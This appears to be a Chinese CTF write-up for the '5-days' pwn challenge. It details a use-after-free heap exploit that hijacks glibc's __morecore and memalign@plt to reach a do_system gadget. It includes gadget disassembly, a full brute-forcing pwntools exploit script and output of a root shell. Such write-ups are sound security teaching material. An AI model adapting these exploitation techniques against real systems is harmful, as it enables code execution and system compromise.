

5-days wp

好像这题到最后也没人做出，不过确实有点难。。。

大体思路

heap里只可能出现libc和heap指针（开了pie，在服务器上libc和bin是连在一块的。。。所以开了relro），所以要控制rip的话只能往libc上去找函数指针，然后，malloc_hook和free_hook都置0了，所以我用了more_core这个，不排除有其他指针可用。很多选手都认为应该去leak，然而这题不该leak

洞

很明显的uaf，还有一处内存泄漏，leak故意不给。

libc 部分

如果这部分没懂，直接去搞堆，很明显不知道要干啥，也不知道该pwn到什么程度

1.morecore

前面说了，我用了个morecore的函数指针，这个函数是在sysmalloc里申请更大的堆的，也就是说要触发这个函数，得malloc一块比现在的堆更大的内存。题目里最大malloc长度是100000,足够了。

2.do_system

这段gadget大家应该不会陌生

```
loc_4520F:          ; CODE XREF: sub_44E20+16Ej
.text:000000000004520F
.text:0000000000045216
.text:000000000004521D
.text:000000000004521F
.text:0000000000045224
.text:0000000000045229
.text:0000000000045232
.text:0000000000045237
.text:000000000004523E
.text:0000000000045243
.text:0000000000045248
.text:000000000004524F
.text:0000000000045251
.text:0000000000045256
.text:000000000004525B
.text:000000000004525D
.text:0000000000045260
.text:0000000000045265
.text:000000000004526A
.text:0000000000045271
.text:0000000000045278
.text:000000000004527D
.text:0000000000045287
.text:0000000000045291
.text:0000000000045294

        lea    rax, aBinSh+5      ; "sh"
        lea    rsi, unk_3C5560
        xor    edx, edx
        mov    edi, 2
        mov    [rsp+188h+var_148], rbx
        mov    [rsp+188h+var_140], 0
        mov    [rsp+188h+var_158], rax
        lea    rax, aC            ; "-c"
        mov    [rsp+188h+var_150], rax
        call   sigaction
        lea    rsi, unk_3C54C0
        xor    edx, edx
        mov    edi, 3
        call   sigaction
        xor    edx, edx
        mov    rsi, r12
        mov    edi, 2
        call   sigprocmask
        mov    rax, cs:environ_ptr_0
        lea    rdi, aBinSh        ; "/bin/sh"
        lea    rsi, [rsp+188h+var_158]
        mov    cs:dword_3C54A0, 0
        mov    cs:dword_3C54A4, 0
        mov    rdx, [rax]
        call   execve
```

```
.text:0000000000045299          mov      edi, 7Fh           ; status
.text:000000000004529E          call    _exit
```

这段gadget执行 /bin/sh ["sh","-c",shell,0]

有以下几种方法可以执行/bin/sh

1：控制rbx为"/bin/sh" ["sh","-c","/bin/sh",0]

2：控制rdi为"/bin/sh" 传统的system ["sh","-c","/bin/sh",0]

3：控制[rbp+0x30] 为 0, 跳到0x4526A [0]

4：控制rax为 0， 跳到0x45216 [0,"-c",shell,0]

这里用第4种

3.got

然后如果我能更改morecore的低字节，直接跳到system是不行的，我就需要一个gadget设置好rax的值为0，然后跳回do_system，恩，这就需要覆盖got表，什么，开了relro ? libc不受影响~

这里选libc 里的memalign@plt，然后这个通过这个gadget就可以把rax设置成0了，不要问我是怎么找到的。。。体力活

```
loc_8827A:
mov    rax, cs:qword_3C5840
mov    r15, cs:_memalign_hook_ptr
mov    r14, cs:_malloc_hook_ptr
mov    rdx, cs:qword_3C5850
test   rax, rax
mov    [r15], rax
mov    [r14], rdx
jz    loc_88338
...
loc_88338:           ; alignment
mov    rdi, r12
mov    rsi, rbp           ; size
call   _memalign
```

heap部分

搞清前面那些libc的trick，就可以来做heap了，前面的利用条件是这样的：

morecore：写入0x8827A的gadget

memalign@plt：写入do_system的gadget

然后再malloc一块大内存就能getshell（要过一些判断，但大致没什么问题），也就是说要在4次malloc内改两次libc，堆流程自己看payload，可能有点复杂~ 不看也可以自己试试

pwn服务器上测试通过(1/4096)：

```
root@966259f040df: ~/bk
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
maybeerror?
$ whoami
root
$
```

payload (题目所给libc, 本地) :

```
from pwn import *
import time

#context.log_level = 'debug'

def new(title,size,content):
    R.send('1\n')
    R.recvuntil('content size(0-100000): ')
    R.send('%d'%size)
    R.recvuntil('title(max 11): ')
    R.send(title)
    R.recvuntil(': ')
    R.send(content)
    R.recvuntil('$')

def edit(day,content):
    R.send('2\n')
    R.recvuntil('day: ')
    R.send('%d'%day)
    R.recvuntil('content: ')
    R.send(content)
    R.recvuntil('$',timeout=1)

def delete(day):
    R.send('4\n')
    R.recvuntil('day: ')
    R.send('%d'%day)
    R.recvuntil('$')

def malloc():
    R.send('1\n')
    R.recvuntil(': ')
    R.send('100001')
    R.recvuntil('$')
```

```

for i in range(0,10000):
    R = process('/home/pwn/pwn/pwn')
    R.recvuntil('$')
    new('\x00',0x18,'chunk1')
    new('\x00',0x18,'chunk2')
    delete(0)
    delete(1)
    edit(1,'\x20')
    malloc()
    malloc()
    new('\x00',99999,'a'*0x20+p64(0)+p64(0x21)+p64(0)*3+p64(0x21))
    edit(0,p64(0)+p32(0)+p32(0x1000)+'\x00')
    edit(2,p64(0)+p64(0x41)+p64(0)+p64(0xa1)+'\x20')
    delete(0)
    malloc()
    #对应两处修改
    new('\x00',0x38,p64(0)+p32(0)+p32(0x1000)+'\x40\x10')
    edit(0,'\x16\x32\xa5')
    edit(3,p64(0)+p32(0)+p32(0x1000)+'\xb0\x23')
    edit(0,'x7a\x62\x9')
    #
    R.send('1\n')
    R.recvuntil('size(0-100000): ')
    R.send('99999')
    R.recvuntil('title(max 11): ')
    R.send('$$$')
    try:
        R.send('test\n')
        data = R.recv(timeout=1)
        if 'sh:' in data:
            print '-----get shell-----'
            print data
            R.interactive()
        if data=='':
            print 'maybeerror?'
            R.interactive()
            break
        else:
            R.close()
    except EOFError:
        R.close()
    print i

```

其他libc的话应该也是有对应的gadget的（事先不知道libc版本，sb的写了2份libc的payload，一份都没用上ORZ）